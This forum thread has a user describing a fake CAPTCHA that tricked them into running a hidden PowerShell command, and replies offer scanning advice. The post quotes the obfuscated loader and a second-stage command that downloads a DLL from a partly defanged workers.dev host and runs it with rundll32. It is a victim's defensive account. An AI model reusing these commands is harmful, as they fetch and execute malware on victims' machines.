Am I safe?

I was looking for a psychologist in my area. I did a search and I opened a result. I got a captcha. It asked me to press ctrl and R, press ctrl and V and then press enter. It was late at night and I wasn't focusing so I did it without thinking

Nothing happened after I pressed enter and then my antivirus which is ESET Home gave me an alert that it blocked something. I looked into it.

First I opened Wordpad and I pressed ctrl and V to see what was the command that I pasted. It was this:
powershell -w h -ep bypass -c "$P='https://';$US='still-snow-667e.prot...b5530d';$c=[char]0x69 [char]0x65 [char]0x78;& $c (irm $P$US$L)"

That command was trying to open https://still-snow-667e(dot)protexweer(dot)workers(dot)dev/gd?id=98532882-12b5530d in a hidden PowerShell window. I opened that website in Windows Sandbox and I saw this:
$downloadUrl="https://still-snow-667e(dot)protexweer(dot)workers(dot)dev/download?id=98532882-12b5530dnull"; (New-Object System.Net.WebClient).DownloadFile($downloadUrl, "$env:USERPROFILE\Downloads\text.dll"); Start-Process "rundll32.exe" "$env:USERPROFILE\Downloads\text.dll,Start source=98532882-12b5530d"

That looks like it was trying to download text.dll which is the malware file and run it. I checked my downloads folder. There is no text.dll. Also I checked the ESET Home alerts to see what it blocked. I saw this. That means that ESET Home blocked the website that the hidden PowerShell window tried to open thus no malware was downloaded.

I did a full system scan by using ESET Home, EmiSoft emergency portable scanner and Kaspersky emergency portable scanner. No malware was found.

Thus I am safe and no need to wipe everything and reinstall Windows?

i would say you are about 99% safe as the download was stopped before it could enter the system and execute.
i would restart your system then do the checks again but also check all network connections to see if there is anything not recognised.

it also maybe an idea to also run MalwareBytes as well

best of luck Steve ..

XxXxX said:

it also maybe an idea to also run MalwareBytes as well

Click to expand...

I don't want to install another antivirus because it will conflict with ESET Home so that's why I am doing full system scans by using portable antivirus programs. So far I scanned with EmiSoft emergency portable scanner and Kaspersky emergency portable scanner. Are there any more portable antivirus programs that I should use?

cns00 said:

I was looking for a psychologist in my area.

Click to expand...

You might try the old fashioned way. Use a physical phone book (if available), or just ask your doctor.
You should also be able to find assistance at any large hospital.
If you're in the US, you can always check out the psychologist's business, at the Better Business Bureau.

cns00 said:

I got a captcha. It asked me to press ctrl and R, press ctrl and V and then press enter.

Click to expand...

Anytime you see a captcha like that. Stay away !!

Captchas should ask you to click on all the bicycles or buses, or crosswalks, in the picture.
As you know, Ctrl + V is the PASTE shortcut. That would be a RED flag for me.

Malwarebytes Antimalware paid version includes an antivirus which would conflict with ESET, however the trial (free) version has the antivirus disabled, it uses only the malware scanner. So there is no problem installing the trial version and do a full system scan. I mostly use Superantispyware free (unregistered) for malware removal:


If Superantispyware finds too many results (over 500), I then use Malwarebytes Antimalware to do a second full system scan to find anything the former might have missed. If the second also finds too many results, I consider backing up my data and reinstall Windows. However, don't panic from your description it seems you won't find too many. Mostly useless cookies, nothing serious. Needless to say you should remove all findings.

@cns00

Again, if you are in the US... there's the American Psychological Association (APA).
I'm sure they could help...